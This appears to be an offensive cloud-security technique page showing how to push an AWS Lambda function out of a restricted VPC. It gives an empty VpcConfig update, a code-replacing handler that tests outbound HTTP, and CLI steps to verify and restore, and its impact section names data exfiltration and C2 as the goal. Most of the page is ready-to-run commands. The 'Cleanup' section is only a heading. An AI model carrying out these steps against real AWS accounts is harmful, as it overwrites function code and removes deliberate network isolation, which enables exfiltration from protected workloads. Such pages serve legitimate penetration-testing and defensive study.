AWS Lambda – VPC Egress Bypass by Detaching VpcConfig

Reading time: 2 minutes

Force a Lambda function out of a restricted VPC by updating its configuration with an empty VpcConfig (SubnetIds=[], SecurityGroupIds=[]). The function will then run in the Lambda-managed networking plane, regaining outbound internet access and bypassing egress controls enforced by private VPC subnets without NAT.

Abusing it

Pre-reqs: lambda:UpdateFunctionConfiguration on the target function (and lambda:InvokeFunction to validate), plus permissions to update code/handler if changing them.
Assumptions: The function is currently configured with VpcConfig pointing to private subnets without NAT (so outbound internet is blocked).
Region: us-east-1

Steps

Prepare a minimal handler that proves outbound HTTP works

cat > net.py <<'PY' import urllib.request, json

def lambda_handler(event, context): try: ip = urllib.request.urlopen('https://checkip.amazonaws.com', timeout=3).read().decode().strip() return {"egress": True, "ip": ip} except Exception as e: return {"egress": False, "err": str(e)} PY zip net.zip net.py aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://net.zip --region $REGION || true aws lambda update-function-configuration --function-name $TARGET_FN --handler net.lambda_handler --region $REGION || true
Record current VPC config (to restore later if needed)

aws lambda get-function-configuration --function-name $TARGET_FN --query 'VpcConfig' --region $REGION > /tmp/orig-vpc.json cat /tmp/orig-vpc.json
Detach the VPC by setting empty lists

aws lambda update-function-configuration
--function-name $TARGET_FN
--vpc-config SubnetIds=[],SecurityGroupIds=[]
--region $REGION until [ "$(aws lambda get-function-configuration --function-name $TARGET_FN --query LastUpdateStatus --output text --region $REGION)" = "Successful" ]; do sleep 2; done
Invoke and verify outbound access

aws lambda invoke --function-name $TARGET_FN /tmp/net-out.json --region $REGION >/dev/null cat /tmp/net-out.json

(Optional) Restore original VPC config

if jq -e '.SubnetIds | length > 0' /tmp/orig-vpc.json >/dev/null; then
  SUBS=$(jq -r '.SubnetIds | join(",")' /tmp/orig-vpc.json); SGS=$(jq -r '.SecurityGroupIds | join(",")' /tmp/orig-vpc.json)
  aws lambda update-function-configuration --function-name $TARGET_FN --vpc-config SubnetIds=[$SUBS],SecurityGroupIds=[$SGS] --region $REGION
fi

Impact

Regains unrestricted outbound internet from the function, enabling data exfiltration or C2 from workloads that were intentionally isolated in private subnets without NAT.

Example output (after detaching VpcConfig)

{"egress": true, "ip": "34.x.x.x"}

Cleanup